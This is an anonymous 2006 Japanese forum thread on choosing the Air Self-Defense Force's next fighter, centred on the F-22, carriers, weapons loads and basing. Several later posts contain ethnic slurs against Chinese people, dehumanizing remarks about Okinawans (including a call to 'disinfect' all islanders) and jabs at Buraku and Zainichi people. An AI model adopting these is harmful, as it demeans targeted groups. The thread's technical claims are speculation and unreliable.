空自次期主力戦闘機考察スレ219

前スレ：空自次期主力戦闘機考察スレ218
http://hobby7.2ch.net/test/read.cgi/army/1151547228/

中期防衛力整備計画（平成１７年度〜平成２１年度）について
ttp://www.jda.go.jp/j/defense/policy/cyuuki/tyuuki.htm
平成17年度以降に関わる防衛計画の大綱　
ttp://www.kantei.go.jp/jp/kakugikettei/2004/1210taikou.html
平成17年版「防衛白書」
ttp://jda-clearing.jda.go.jp/hakusho_data/2005/w2005_00.html
住友商事：ユーロファイター
ttp://www.eurofighter.com/
伊藤忠：ボーイングF/A-18E/F
ttp://www.boeing.com/defense-space/military/fa18ef/index.htm
双日：ボーイングF-15E
ttp://www.boeing.com/defense-space/military/f15/index.htm
三菱：ロッキード・マーチンF-22A
ttp://www.lockheedmartin.com/wms/findPage.do?dsp=fec&ci=11174&rsbci=13151&fti=0&ti=0&sc=400
空自次期主力戦闘機考察スレまとめHP
ttp://www.geocities.jp/hgtyq187/

１０００ＧＥＴ阻止。

えっと、スレ立てて早速…
>前スレ1000さん
http://ja.wikipedia.org/wiki/%E6%B5%B7%E4%B8%8A%E8%87%AA%E8%A1%9B%E9%9A%8A%E3%81%AE%E8%88%AA%E7%A9%BA%E6%AF%8D%E8%89%A6%E5%BB%BA%E9%80%A0%E6%A7%8B%E6%83%B3
ココに詳細が書いてあるけど、ヘリ空母の場合導入したら最低3隻必要だから
搭載する航空機や人件費を考慮すると、防衛費が抑えられる中では予算的に厳しいとの事。

wikipedia

5マキ

常々思うんだが、F-22ってカタパルト無しで空母から発艦できるんじゃなかろうか。

>>3
もし導入したら空自を削るんじゃないのw

7ならF‐Xはライノ

ヘリ空は別に最低3隻導入とかって話でもないよ。絶対に1隻が稼動状態にないと
何がどうなるという訳でもない。そもそも護衛艦にヘリ1隻ってのはデフォだし。
あくまで利便性の為のヘリ空であって、そもそも空自のエアカバー内で
潜水艦狩りするのが目的でしょ。

軽空になってくるとまた多少話が違ってくるけど、おそらく将来の海自は軽空を持つ筈。

>>3
早速さんくす！
そうですね、空母は最低３隻必要ですからね。

そうすれば　やはり空軍機を導入した方が日本には都合良いでしょうね。
ただ、武器等裁量だけをみたら、22の場合、少ないのでしょうか？

F-22は100機弱のFMS。
そしてF-3国産開発にとってF-22が決定になりつつあるのは朗報だね。

>>9
やっぱ空母持つの？

>>10
サイドワインダー2本、アムラーム6発はイーグルと同じ搭載量

>>10
ヘリ空はヘリを載せるのであって、そもそも日本が艦載機ライノを購入する必要がない。
今回のは空自が予算を使って導入する話。
武器搭載量だがAMRAAMが14発搭載できるとか。
ステルス機能を最大限に活かしたいのならベイ格納になるしその場合は
中距離AAMが6本と短距離が2本。

>>10
日本が正規空母3隻は無理だってば
原子力は使えないから通常動力になるし
せいぜいヘリ空母２隻体制でしょ

>>13
爆弾、対地（艦）ミサイル系は？

>>15
2隻体制では運用は無理なのでは？

>>12
世界規模の貢献という事でインド洋で何か長期滞在する場合に、
どうしても固定翼の哨戒機が欲しいそうな。となると軽空は必須になるでしょ。
最低3隻という話が適用されるのかどうかは知らん。
別に日本が常時戦争するわけじゃないから、即応性なんか必要ないしね。
でもバックアップは欲しいから、いずれ2隻は導入するんじゃないかな？

さて、オージーについての考察を始めようか

>>18
いや3隻ないとヤバイでしょ

>>16
それはFB-22じゃね
F-22は制空戦闘機じゃねえのか

誰だよ
空母三隻説なんか流したのは

２隻ありゃ十分なんだよ一隻じゃ足りないけど

>>7
SH-60Kじゃ戦闘機とか戦艦の処理は出来ないでしょ。

>>9
やっぱサブマリン狩りには持って来いだな。ただ売国政党の横槍が心配・・・

>>10
それは搭載量で比べたら空母のほうが多いけど、ﾗﾌﾟﾀﾝ使えば速効で結果に出るからね。

>>18
お前はまず軍艦の基本的なローテーの仕組みから学び直せ

>>16
ベイ内に1000lbJDAM2発かSDB12発のみ。

>>23
戦艦ワロス

>>17
おフランスとかはあほなことになって１隻だし
予算や人員に余裕がなければ２隻体制になってるよ
征途じゃ、同型艦２隻体制で空母配備してたし、あの艦橋イージスタイプ作ろうぜ

ついにすとらま導入は夢と消えたか

F-22で移動体に対するJDAMの命中が成功したとか
亜音速でのベイからのJDAM投下はもう実証されてるし
多分、超音速でのJDAM投下も時期的にはテスト成功してるんじゃないかな？

>>22さん
絶対3隻要るんです。マジで！

>>23
戦艦って、モスボールされてるアリゾナを復帰させる気かｗ

超音速からのJDAM投下ってもう巡航ミサイルとかの親戚だよな・・・
どんだけ飛ぶんだそれ

そこでラプ(ry
つーわけでホロン部との怪しい関係が噂されるラプターラが帰ってきたタラ〜。

>>31
真っ二つに割れている大和を修復。

空自次期主力戦闘機（Fー22）は対艦対地能力付きますか？

うぉ！なんちゅう恐ろしいことを書いてんだ俺はwwwwwwww艦船ねw

>>31
海底に沈んでいる戦艦大和・・・

艦載機はコスモゼロ、ブラックタイガー、コスモタイガーIIになります。

>>35
パイロンにならハープーン積めるぞ

>>37
つ【コスモハウンド】

専守防衛なんてキチガイドクトリン返上すれば、一隻でも意味のある戦力になるんだけどね。

>>24
日本に軍艦はありません。

つかそろそろ現実を見ろ。常時即応性が必要とされるのかどうか、から
考えた方がいいと思う。3隻体制はそれはそれで理解できるがコストから
それが有効なのかどうか。緊急に軽空が必要になる事があるのかないのか。
むしろ3隻導入した場合の圧力（手を貸せ云々）の方が俺は嫌だな。
軽空が出て行くのが数ヶ月くらい遅れても別に問題ないだろ。

>>38
F-22の航空優勢下でF-2飛ばした方がマシだとおもう。

日本は近海を中心に空母運用するのよ？

修理中の空母があってももう一隻で十分


空母は三隻ないと意味なしって言ってるのは
誰かの受け売りそのままだろ〜

基本的に空母はいらんが将来的にはわからんから
空母運用のノウハウを手に入れる目的で
中国が空母所有したら
四万トンの中空母か軽空母所有に踏み切ってもよい

>>39
哨戒機じゃなかったっけ？

>>28
まだＦ-15の後継枠が残されて（ｒｙ

航空自衛隊の主力戦闘機はＦ22を二百機で、海上自衛隊の主力戦闘機はＦ35を150機
この方針で進めて欲しい

アリゾナの砲をAGSに換装して着弾観測機飛ばせれば十分つかえる。

>>30
日本の自衛隊に必要なものが必要なだけ配備された試しは無いんだよ
3隻要るのはわかったとしてその場合、軍縮中の我が国では他にしわ寄せが行くだろ
陸自またどこかの師団が旅団化されるだろうし次の戦車の配備も無理っぽくなるだろうし、艦載機分は空自にシワ寄せが来るだろうが。
で、海自は海自で護衛艦削減しないと乗組員足りないだろ。
護衛艦削減したら空母3隻も誰が守るんだよ。つーか、空母3隻も配備したら現状の護衛艦群では足りない罠。海自大幅拡充になるぞ。

>>38
いつもサンクス。
２２（語弊兵があるが）でも対艦、対地能力は15Eや18並みにあるのですか？

>>37
波動カートリッジ弾と煙突ミサイルと艦首魚雷と自動追尾高射砲と空間磁力メッキで十分戦えるよ

>>44
艦載機には違いない

>>38
エナエアですか？
配線もなければ海上捜索モードも無い。

>>42
その手もあったな。120億を無駄にしない為に出させるべきやな。

>>50
つ「真田さん」

>>50
VLSはあの煙突ミサイルを見て着想したらしい

何で空母厨なんぞが乱心してるんだ
んな予算があれば早期警戒衛星システムだろ

すまん
○　語弊があるが
です

>>49
元々対空制圧用（つまりはF-15A,B、C/Dと同じ）だから対艦用じゃない。

>>52
お約束Wikipediaに書いてあった・・・

おまいらはAGM-142が何なのか知ってるんタラか?ww

>>55
mjk
すげぇ。

空母建造するなら1隻作って終わりじゃコストに合わん
3隻も持つ余裕は無いから最高でも2隻
だがその2隻を誰が守るんだと（ｒｙ

てめえら前の大戦あほども以下か！？
攻撃一辺倒に偏りやがって、艦隊すら守れないもん作るってあほじゃねえか

>>46
空自の定数を減らすのか？
凄い抵抗がありそう・・・

>>46
35なんて全然ローじゃない価格の代物ｲﾗﾈ
んな金があれば純国産F-3の方が役に立つ

>>6
ニミッツ級の全長をフルに使ったって３００メートルをわずかに超える程度。
ラプターの離陸距離は１０００ｍくらいじゃなかったっけ？

カタパルト使用無しだったらスキージャンプ型の空母じゃないと
さすがに無理じゃなかろか？

空母という意味ではヘリ空2隻＋軽空2隻の体制になりそうな気がする。
それか軽空の最後の1隻の就航と同時にヘリ空が1隻終了になって計3隻か。
まぁヘリ空を空母に含めるかどうかも微妙な話だけどね。

でもこれって遠い将来だと思うしスレ違いだね。

>>59
IMI製の空対地か…てかラプターでも使えるのね。

今の分類だと艦載機のパイロット+機体は空自所属になりそうな悪寒
ていうか海自に戦闘機のパイロットいないじゃん
まともに運用できるころにはF-22なんてお古だよ

>>62
何で減らすことになるのだ？
次期主力戦闘機は90機のＦ4の後継だから、二百機の保有となれば倍以上の増加でないの

で、F-22Jだが、好ましい数はどのくらいなんだ？
F-4EJ改の代替だけの話じゃなくて。

まあ空母2隻なんて今世紀も終わりにならんと無理だろ
そしてそのころは人口減でさらに自衛隊も削減されていると

>>58　初心者ですみません
つまり、空自次期主力戦闘機は、
15E　FA18なら対地能力があり、
22なら制空（のみ）でしょ？
日本はどちらか運用方法を決めてないの？

>>67
これからの脅威は中国だからね。
中国軍の強みは、やはり現役の戦闘機乗りが数千人抱えるその量だ。
まあ、訓練時間が平均で40時間、精鋭部隊でも100時間程度って、能力の低さを別に置けば
やはり量の力は無視できないよ。
それに対抗するためには、精鋭以外は錬度を少々落としても、もう少しパイロットを増やしても良いと思うがね

>>65
艦船の提議というものが、現在は無くなっちゃたから航空機運用出来れば何でも空母になる時代だよ奥さん。

つまりたかなみやむらさめも、保有国が空母だと言えば空母

その気になれば丸太で作った漁船も空母だよ

>>68
戦闘機全部あわせて200機といってるんじゃないかね
F-15の後継もF-22あるんだしこれでいいじゃん、みたいな

AGM-142ってなんですか？

>>69
当たり前の話だが、多ければ多いほど良いが。
ただ、アメリカ軍でも三百も保有できない機体だからな。
日本が保有できるのは、100機を超えることはないだろう

>>71
対地対艦はF-2の仕事。航空制圧は鷲とﾗﾌﾟﾀﾝの仕事。

>>74
次期主力戦闘機と主力をつけているでないさ

防衛庁が国防省になって、改憲後に自衛隊が国防軍になれば
まず予算は確実に増える。
人間の数も多少は増えるだろうが、予算よりこっちが問題だね。
空母はそんなに大した話でもないと思う。
哨戒機が運用できればいいみたいだから、UAVの進化にも依存するし。

F-15の後継までF-22だと、名古屋航空どうなっちゃうかちと心配だｗ

>>71
そもそも空自の戦闘機には最低限の対地能力しか与えられておりません。
周辺国への配慮といった面も大きいです。

専守防衛の観点から言えば
F-22＋イージス艦で制空　F-2で対艦　P3Cで対潜　水際迎撃に陸自と運用されてます

>>74
海自で戦闘機を持つのなら空自は減らしなさい by さつき財務大臣

みたいなことになるんじゃないかと・・・

>>79
増えると決め付けてる時点でダウト

>>69
厳密に言うとF-15J/DJのPre-MSIPがもうじき退役するだろうから（ただしPreも徐々に
MSIPに改造されてるから退役は少数）、ラプター80機ぐらいで十分中国の航空戦力と
渡り合える。ただしそれじゃコストがかかるだろうし現実的には60機ぐらいかな。

>>29>>32
移動目標に命中させるのは現用のJDAMでは無理でしょ。
固定目標なら超音速での投下に成功しているけどね。
ちなみに飛んだ距離は24NM(約45km)。
ttp://www.air-attack.com/news/news_article/1702/F-22-Test-Team-Scores-Direct-Hit-in-Supersonic-High-Altitude-JDAM-Drop.html

F-22のFMSが100機弱で、残りはF-3が望ましいね。

>>79
防衛庁が防衛省になるのは近いかも知れんが、国防省になるのは遠いな
そのころには現状を維持できる人口すら残ってないだろ

>>77
マジレスです！
本当は制空重視か対地重視かを決めて次期主力戦闘機を選択すると思うのですが、
15E＆18、22となれば制空、対地混合じゃないですか。
なんかヘンな気がしませんか？

らぷたん減らして90式2000輌配備しようぜ

F-3はASM-3をウェポンベイに搭載出来るようにしたFB-23で決まりだろ

>>85
移動体へのJDAM投下は成功しているよ。
さすがにファイヤ＆フォアゲットとはいかないみたいだけど。

>>88
コストの問題もあるし、USA勢全部入れちゃったら恐ろしい予算額になるでしょ?
あとF-2は1機120億円だから使ってあげないとかわいそうでしょ・・・?

>>87
意味不明。それって名前だけの話じゃないかｗ
改憲後に行われるであろう自衛隊⇒自衛軍の流れは
確かに今後5年以内には行われないと思う。

>>88
主力戦闘機という時点で制空優先だっつーの
そいつらのうちの制空能力を見て考えてるんだよ
F-15EだろうがF/A-18SだろうがFA-22だろうが、間違いなく日本に輸入時には対地攻撃能力はオミットされてくる

>>88
つ「まるちろーるふぁいたー」

F-3は無人UAV化されたYF-23

>>92
>USA勢全部入れちゃったら恐ろしい予算額になるでしょ

この部分をもう少し分かりやすくお願いできますか?
すみません

>>91
F-22ではやってないと思ったけど
他の機体ではやってたの？
ソースｷﾎﾞﾝ

>>88
今回のはF-Xです。つまり制空目的と捉えてください。
ゆえに最初からF-22が好ましい機種として挙げられてます。
ライノやストライクは･･･個人の妄想とか嗜好の話です。

>>88
釣りかなんか知らんが、現状の空自に「対地重視」の戦闘機は無い。

んで、今回買うとか言ってるF-22は「制空（FI)用」のF-4Jの代替機なので
基本的には最初から制空重視。
なのでFXスレの2くらいでF-15EとF/A-18は無いんじゃないかとひとまず結論が出てた筈。

>>97
これらの機種全部入れちゃうとやばいってこと。あとF-22をベースにこれらの機能ぶち込んでも
結果は同じコストがかさみ予算オーバー。既存のF-2の対地対艦能力は超一級だから空は鷲とﾗﾌﾟﾀﾝに任せれば
安上がりって事。

>>101いつもサンクス。

>>102
いえいえ。ちょうど小遣い切れて出かけられなくなったから憂さ晴らしに2ch来てる身だから・・・（関係ないか。）

>>99
ラプタン濃厚でトムネコDJが消えたのが無念

久しぶりにここを覗いてみれば、
おまえらよくループの話題で飽きないな（ｗ
ていうかアメリカ下院で重要法案が議決されただけでしょ？
今のところの話題は。まあこれでライノ厨も静かになるだろうけど。
これは大きな一歩だが小さな一歩でもある。

また質問ですが、
Fー2はいつまで運用予定ですか？
すれ違いですみません。

>>105
だって候補中じゃラプターしか選択しないでしょうに・・・F-X=制空目的なんだから。

>>106
配備開始が2000年だからあと20年は使い続けるぞ。

上院でも可決されたら、いよいよ発表になるだけでしょうかね。
そもそもFMSなら日本に許可しない方がおかしいし、いよいよ
運用方法とか搭載兵器の取り決めとかが一般人の目の前に現れてきますね。

>>106はちったあググったらどうなんだい

そもそもテキサスつったら藪の地元だしな・・・

牛肉
F-22A

テキサス名産の売り込みに余念が無いな

>>110
今度からググります。

>>111
F-22はジョージア産だよ

>112
今からぐぐれ｡　明日から勉強するって言っていつまでたってもやらない厨房だぞ。

>>113
テキサスにもLMの工場あるようだが

>>114
なにかググりましょうか？

>>98
従来のGPS弾の先にレーザーセンサ付けたJDAM変種だね（先祖返り？）
F-16でのテストは成功してるけど、F-22で使うならレーザー指示器積まないと
ttp://www.boeing.com/defense-space/missiles/jdam/news/2005/q2/nr_050524n.html

>>115
胴体しか作ってないけど

>>117
F-22はレーザー指示器積む予定は無いから無理だわ
残念だけど使えない

F-22が配備されれば日本の空をしばらくは安泰。

ただ、ついに世界一の少子高齢化国家になってしまった日本。
私が還暦を迎える頃には日本の防空体制はどのようになってしまっているのだろうか？
（以上、チラシの裏）

>>120
パイロットがいないなら無人機開発すれば良いじゃない

もうボロボロだなこの艦

被害担当艦ですから

>>120
平和憲法と国連があれば大丈夫＞日本の防空体制

>>119
ではこちらはどうでしょう！ GPS弾にデータリンク端末付けたJDAM変種
母機が目標情報をアップデートしつづける
ttp://www.harris.com/view_pressrelease.asp?act=lookup&pr_id=1677

しかしJDAMだけで色々作ってるな…

対地攻撃もそろそろ見据えなけりゃいかんわな。
今までの制空偏重は改めるいい機会だな。

>>126
つ[A-10]

>>125
F-22の本命はSDBの方じゃないかな？

まぁ、どっちもF-22Jには必要無いでしょうけど。

>>127
日本でA-10導入するなら、まだF-15Eだよな。
アメリカでの次世代A-10はF-35になるんだっけ？

それ待ちかな。

むしろF-2Eで

むしろスパホで

むしろベールクトで

>>129
F-35に阿部砲積むのか？

むちゃくちゃな数のF-15の後継にはやっぱF-3かF-35になるよね。
んでF-35は確実にライセンス生産が困難なわけで。
今までの流れ（国内航空産業の拡充）から考えてF-3が鉄板かと思われる。
嫌な流れだがエンジンを担保にされての共同開発なんてのもあるね。
F-36なんて形で（日本名：F-3）アメリカ・オーストラリア・英国にも採用
ってのならそれもアリかもしれんけど。
改良点はやはり航続距離が一番かね。

>>126
本当だ。
自衛隊も普通の軍隊に生まれ変わるならね！
専守防衛なんて寝言は古いっつーの（ｗ
近隣の仮想敵国が巡航ミサイルを配備するのに、
日本だけへーへーとしていられるか！！
JDAMに推進装置をつけてだな。

＞F-36なんて形で（日本名：F-3）アメリカ・オーストラリア・英国にも採用

むしろF-26で

自民以外は自衛隊全廃とかいってなかったっけか
みんすとうとかしゃみんとか・・・

>>135
やっぱ海自予算で巡航ミサイルを持つのが一番安上がりだと思う。
空自はUAVが発展して攻撃機並の事ができるようになってからでもいいかと。
陸自予算での中距離地対地ミサイルもいいかもしれんが敵が限られちゃうね。

>>137
みんすは国連移管するだけで全廃はしないですよ
糞食らえと思いますが

>>136
ｷﾀｶ

小沢は自衛隊を国連待機軍にするって言っていたな。
安保理決議がなければ防衛出動もできない自衛隊w。

>>141
それってつまりは北京に出撃命令を預けるって事だよなw

>>141
最悪だよなｗ つかトップが替わるだけでコロコロ意見が変わるのは政党として拙いよな。

小沢はバカ

>>134
改良なんかしなくたってF-35の航続距離は十分長いよ
機内燃料だけで増槽付きのF-16やF/A-18より上だし

>>141
酷い話だｗ
安保理決議をしている間に占領される日本
小沢はそれが望みなのか

民主も自民も内政はどっちもどっちだが
民主の外交は酷すぎるな

で、日豪共同機のエンジンを、イギリスのF136にすると

>>145
F-15Jの後継の話なので基準はF-15J

>>148
F-22でもアウトだな

>>148
機内燃料搭載量はF-15JよりF-35が多いです
戦闘行動半径も増槽無しならF-35が上かもしれません

>>134
Ｆ−４ＥＪ改だけでなく、
Ｆ−１５Ｊの後継もＦ−２２のラ生しちゃえば問題なし

ラ国よりノックダウンになるだろうな

>>150
ステルスを最大限発揮できるように「増槽無しのF-35改」が
F-15J（増槽付）を超える飛距離が実現できるなら万々歳じゃないかな。
ベイに対地ミサイル積まないようにすればAMRAAMが4本だっけ。
F-22Jが100機弱程度実現した未来において、F-35改が「距離とステルス」で
F-15Jを超えれば後継として十分でしょう。

軍事板の人ってすごく詳しいけど、みんなはどこでそんな知識得てるの？

ν即あたりにリンクされてんのか？

>>153
絶対無理
F-15の航続距離はヤバイ

日本の政治は
圧倒的な与党自民党と
グダグダな民主と
数すくないけど腐敗を暴くことのみに奔走する共産党で十分

公明党と社民党は普通にいらない
ちなみに共産党は対ブラク、対自民党の腐った連中 対統一ｷﾁｶﾞｲに必要
民主もまぁあってもよい
自民党だけだとすぐ腐るから

自民党は古いバカを一掃していけばよい

さっきからこいつがうるせー↓＠横浜
ttp://www.42ch.net/UploaderSmall/source/1151827767.JPG

F-18だよな、マジ迷惑

>>155
いやラプター輸出解禁のニュース見て来ただけ

日本の民主党＝論破し易い仮想対外敵

敵対国ならこう考えるだろう　という事案を示し、
それを受けて自民が対策を考えやすくするｗ

>>156
そこを頑張るのさｗ
実現できたらF-35改（日本名：F-3）でもいいや。
そもそもF-3だってF-15の後継を狙ってるなら航続距離って
仕様として大きい要素だと思うよ。
単純にF-2の後継しか狙わないならどうでもいいんだけど。
でもその場合は空自における制空機と攻撃機のバランスから
大きく変わりそうだね。

>>161
F-3はF-2の後継のマルチロールでは?

>>158
スパホだね。EかFかはわからないが
F-22だったらもっとうるさいよ

FI機がやる航続距離や滞空時間が重要な任務って、
接待時間の読めない平時のアラートや、戦時のCAPと考えておｋ？

>>163
騒音もステルスになっていないの？

>>162
その場合、F-15の後継は何になる？
仕様に合いそうにないF-35のFMS？
ラ国が無理っぽくて再びF-22のFMS？

俺はF-2とF-15の後継として共通機種F-3じゃないかと思ってる。
野心的な作になるけどね。

>>165
無茶言うな。

わからない。F-15J MSIPの後継はF-3ではないかとも言われている。時期的にかぶるから。
しかしF-35を元に作るってことはまずない。開発国の反発買うだけだ。

>>165
なってない
F-22の騒音は凶悪
今飛んでるどの戦闘機よりもひどいらしい

＞俺はF-2とF-15の後継として共通機種F-3じゃないかと思ってる。
＞野心的な作になるけどね。
↓
俺はF-2とF-15J改の後継として共通機種F-3じゃないかと思ってる。
野心的な作になるけどね。

多分あれだ。PreMSIPの一部は放置だ。

>>166
マルチロールだし別にF-3でもいいだろ
そして、後継機があらゆる面でF-15を上回る必要も無い
航続距離にこだわるならF-22もF-15に勝てないだろ

>>169
A/Bを多用しないから相対的にましになってると思う

騒音に関してはF-22はスパホよりはマシだろ。

やはりラプター６０機はすくないよぉ
100機、具体的には
百里
三沢
新田原
小松
四飛行隊だと100じゃ足りないか

まぁ
百里
三沢
新田原
で８０機体でもええが

現状の予定機数６０機では
三沢と新田原しか代替できねーじゃん

ってかSQあたりの配備機数減らすと思うよ？
一機あたりの効果を考えれば....

>>174
三沢はF-2専用だお
配備するなら千歳201か203の代替

>>171
はっきり言うと仕様決めの段階から既存機に無い仕様が求められないと
開発という流れにはならない。既存機でいいじゃんと政治家に言われる。
AAM-4なんて「AMRAAMは売ってくれないかもしれないから」だなんて珍妙な話を
こじつけて開発してる。
F-35Aでできる事が仕様に盛り込まれるとF-35AのFMSでいいじゃんとなる筈。

>>175
定数を減らすのは錬度や稼働率を考えると疑問。
アラート任務なしなら別だが・・・。

アメリカってラプターは18機でSQ組んでたっけ？

>>174
千歳を・・・千歳を忘れないであげてください・・・

千歳だって？今の最前線は南西ですぜ。

千歳は最前線だから配備したくない
三沢に配備し米軍基地を守るのだ

最前線じゃないがあのKGB相手に北をがら空きにするのも危険だ

そんな事言ったらお金がいくらあっても足りまへんがな。

まぁ、千歳・百里・小松に1SQずつ配備して、
あぶれたのを那覇に回したりラージSQ化するんじゃない？

>>184
そこでF-15J転換ですよ

ラプターは百里に1個飛行隊配備で十分。
新田原にはF-2を配備。

夢がひろがりんぐ

>>171
>航続距離にこだわるならF-22もF-15に勝てないだろ

どうだろう？　F-22も600ガロンの増槽４本付けたら
勝てないまでも同等なんじゃないかな。
F-22の燃料搭載量は、最大で36000lb(16.3t）にもなるようだし。
http://www.0x4d.net/files/AF1/R11%20Segment%2012.pdf

F-22Jに決定したらお披露目の日にオフ会やりたいね

あまり進出距離は考えなくてもｲｲ希ガス。
KC767はﾗﾌﾟﾀﾝの布石なんだから。

あれ？
一応今回の代替は
元沖縄で百里に来るF4
現在新田原にあるF4の
ニコ飛行隊の分だよね？

早く防衛省になって予算を獲得しないと、
年々正面装備の予算が減らされる・・・。

出かけてるうちに凄い方向になりましたねぇ。


>>174
チャンコロのドアホの言い分を突っ放せば

百里（首都防衛）
千歳基地
那覇基地（対ﾁｮﾝｼﾅ）

これでおｋ

F-22があらゆる面でF-15を上回ってるのはもう分かってる。

F-3がF-15後継を考えてるならコンセプトを決めて、そこのジャンルでは
勝ってるという形にしないといけないだろう。そしてF-35Aをも一部では
上回る仕様でないと後継としての開発にゴーは出ない。
航続距離の探求ってのは多分でてくると思うよ。F-2の後継だけを考えた
F-3なら、F-15の後継には確実にUSAFの戦闘機が当てられる筈だし。
その場合F-35AのFMSになってしまう危険性が高い。

整備とか考えて
また東京重視の防衛庁は新田原にはラプターは配備しません

夢はありませんが新田原にF15を移し
ラプター二個飛行隊を百里に配備

>>195
それ以前に日本はカスタマーとしても開発グループにも参加していないから確実に相手国の言いなり。

那覇は絶対に無いから安心しろ。
AKからZZに出張に来るだけで事足りるんだから。

>>194
＞那覇基地（対ﾁｮﾝｼﾅ）

は絶対ダメ。先制攻撃されたら目も当てられないから。
普通に考えたら新田原でしょ。

新田原は2機だけ教導隊用に来る可能性は有る。
そこでいろいろ悪ノリして魔改造の手だてを考える。

>>155
東亜+からもお客さんが来てるかと

>>199
ﾁｬﾝｺﾛ共もアホじゃないから数百機で襲撃に来るわけ無かろうで。それに
ﾗﾌﾟﾀﾝにかかりゃフランカーなんざハエみたいなもんだろ。

>>199
沖縄県民がテロを起こす可能性が高いしな。


・・・沖縄って一度島民全員消毒してしまった方が良くないか？

AKよりもHHの方が配備早いんだっけか？
ヒッカムに配備されたら見に行きたいもんだ。

>>203
沖縄の名誉のためにいうと、騒いでいる連中はごく一部。
かなり本土からの応援という名の煽りに乗せられている。

あとは基地で利益を得ているか、そもそも無関心かどちらか。
前者は騒いでくれるとありがたいのでとりあえず黙っているだけ。

>>199
中華ELINT機の前にF-22を晒すのは当分避けたいしね

>>202
中共シンパの沖縄県民が軍事行動反対と叫びながら滑走路に乱入。
オロオロとなす術もなく、マイクで退去をお願いする基地警備隊。
けっきょく一機も上げることもできず、一方的に爆撃を受ける那覇基地。

>>205
馬鹿を言うな！！
ならば何故、沖縄の知事や県議は中共の下僕だらけなんだ！？

沖縄の”良識派”とやらは、選挙の時には寝てるのか？

>>207
…恐ろしいな琉球原理主義テロリスト共…沖縄周辺は嘉手納の米軍に任せるとして・・・

アメリカ同様、まず最初にSQ配備はFFならぬ百里でガチ。
それでF15 1SQが那覇に逝く。
その後2機をTYならぬ新田原へ。小松に配備後は新田原に1SQ移管。
千歳は比較的最後になる予感。

……流れがおかしい。

下地島とかはともかく本島は米軍に任せて引き払った方が良くない?
珍の盾が入り乱れて爆破とかされそうだし

>>210
やっぱロシアは最近温厚になってきたからな。（侮れんが）
それよりも世界で2つある共産国うちの超大国ﾁｬﾝｺﾛを警戒すると言うわけですな。
韓国が日本に対する侵略を起こそうものならばとんでもないことに・・・

先の大戦では、沖縄国民には大きな借りがあると思うけど、どうよ？

>>212
嘉手納は空自と共同運用になるので
海自が那覇占有ではなかったかな

>>208
だってプロ市民様が騒いでいた方が上がり（基地使用料や補助金）が多い。
持ちつ持たれつの関係だ罠。

危機感がないと言われればそれまでだけど。

>>205
済まなかった。
冷静に考えてみれば、沖縄県民は中共シンパではないな。
ただの物乞いだ。

いや、宿主を枯死させるという意味では寄生虫に近いか。

だから小松とか千歳は有り得ない

百里に二個飛行隊でガチ
６０機（値段次第では55位に減らすし）で
配備するのよ
整備考えてもFXは一カ所に集めるよ

沖縄県民を全て一緒くたにするのはｲｸﾅｲ
下地島のようなケースもあるのだから
悪いのは補助金詐欺を繰り返す本島民

空自の次期主力戦闘機をF-26にして
陸自の次期主力戦車をT-72にして
海自の次期主力艦をキティー（艦載機はスパホ）にすればみんな満足するジャマイカ

>>220
だから一番上は、まず初飛行をですね（ｒｙ

ここで沖縄貶してるのは
沖縄県民とその他を分離させようとするリアル滅ん部（中国所属）

百里に2SQ…??
そんな寝言は初めて聞いた。

>>220
ｵﾌﾞｲｪｰｸﾄ!!

>>222
いや、素で駄目だろ沖縄県民はｗ

ところでこのスレの住人に沖縄県民は居るのか？

圧倒的じゃないか我が軍は！
http://www.youtube.com/watch?v=1_GOBG6AxSM&search=Raptor

>>220
救世主現る！！

>>225
ゴーヤは美味かった。

沖縄県人の運転の荒さは日本一

>>230
だが事故発生率は福岡市民に敵うまい！

福岡は広島に匹敵するヤクザの多い県だからな

Bも在も多いシナ

近畿関西にも空自の基地欲しいよ

>>234
確かに穴っちゃ穴だな。
ん〜徳島拡充とかどうよ？

でも百里は有り得ないくらい電車から遠くて
ラプターきても見に行けないらしいな

まぁ、80機ベースに20機オプションあたりが妥当かなぁ。
ってかオージー本気で買うつもり??

>>236
1時間もあれば余裕で着くよ。

百里に２飛行隊配置って。。。あほですか？
戦略のせの字も知らないんでしょうか？
中央一点配置って某一極集中を思い出すからﾔﾒﾚ。

>>120
少子化は問題だけど高齢化は大した問題じゃない。
適切な出生率さえキープできれば、数が異常に多い団塊世代が死に絶えて自然に解消する。
つーか社会保障の負担を考えれば、一刻も早く死んでもらわないと困る。

今の自衛隊の規模を維持するなら人口が半分になっても問題無い。
元々人口比、GDPで諸外国の1/2〜1/3の規模だから。

【日中】尖閣諸島の近くに中国調査船。日本のEEZ内で海洋調査。海保の警告無視　[7/2]
http://news18.2ch.net/test/read.cgi/news4plus/1151835027/

例の記事の1ページ目を訳してみた。やっぱりダウングレード版の話が出てるね。

議会は日本などの同盟国が当該国の空軍を近代化する目的でF-22の購入を開始した場合、
F-22の輸出規制を解除することを推奨した。（略）

この規制はラプターの高度技術が国外に流出することを避けるために導入された。
しかし国会議員と複数の空軍の高官はロッキードが近い未来にF-22の生産ラインを
閉鎖するかもしれないと懸念していた。

700億ドルの戦闘機開発計画はロッキードにとってもっとも大きな契約であり、
ジョージアやテキサスに4500人以上の社員を雇い、毎年数十億ドルの収入をもたらす。
国防総省は着々とF-22の導入数を減らし、20年前には当初ソ連に対抗するために必要とされていた
750機を導入する予定だったのが今では183機にまで減少した。同じくロッキード社製で、好調な
海外販売を維持する旧式のF-16と同様に、海外販売はラプターをビジネスの世界に引き止めるための
手段となる。（略）

「私はこの法律の規定はもはやわれわれの技術の秘匿手段として必要ないと考えている」
Grangerは議会の場で発言した。（略）

この提案が上院を通過するかどうかはまだわからないが、議会は伝統的に国際的な
軍事計画の協力を許可することに寛容である。

上院防衛委員会の議長であるSen. John W. Warner氏はラプターの改良型の国外販売を
支援したいとの考えを示した。

「私自身としては、この航空機の技術輸出に関してのわれわれの要求に合致した
形式のラプターを生産することを考慮するべきであると考え、そのモデルは
輸出専用型になるだろう」Warner　はインタビューに答えた。「この戦闘機は、
輸出用にモデファイされたとしてもなお強力な戦闘機であると考えている」

システムのオミットとステルス性低下の再設計のどっちが安く上がるかかな　そうしたら＞ダウングレード

ただ今でさえ熱の問題があるのに大丈夫なのかな

>>243
両方そこそこじゃね?

ttp://www.washingtonpost.com/wp-dyn/content/article/2006/06/30/AR2006063001695.html
アドレス張り忘れ。ついでに不必要っぽい部分を削除。

議会は日本などの同盟国が当該国の空軍を近代化する目的でF-22の購入を開始した場合、
F-22の輸出規制を解除することを勧告した。
（略）
この規制はラプターの高度技術が国外に流出することを避けるために導入された。
しかし国会議員と複数の空軍の高官はロッキードが近い未来にF-22の生産ラインを
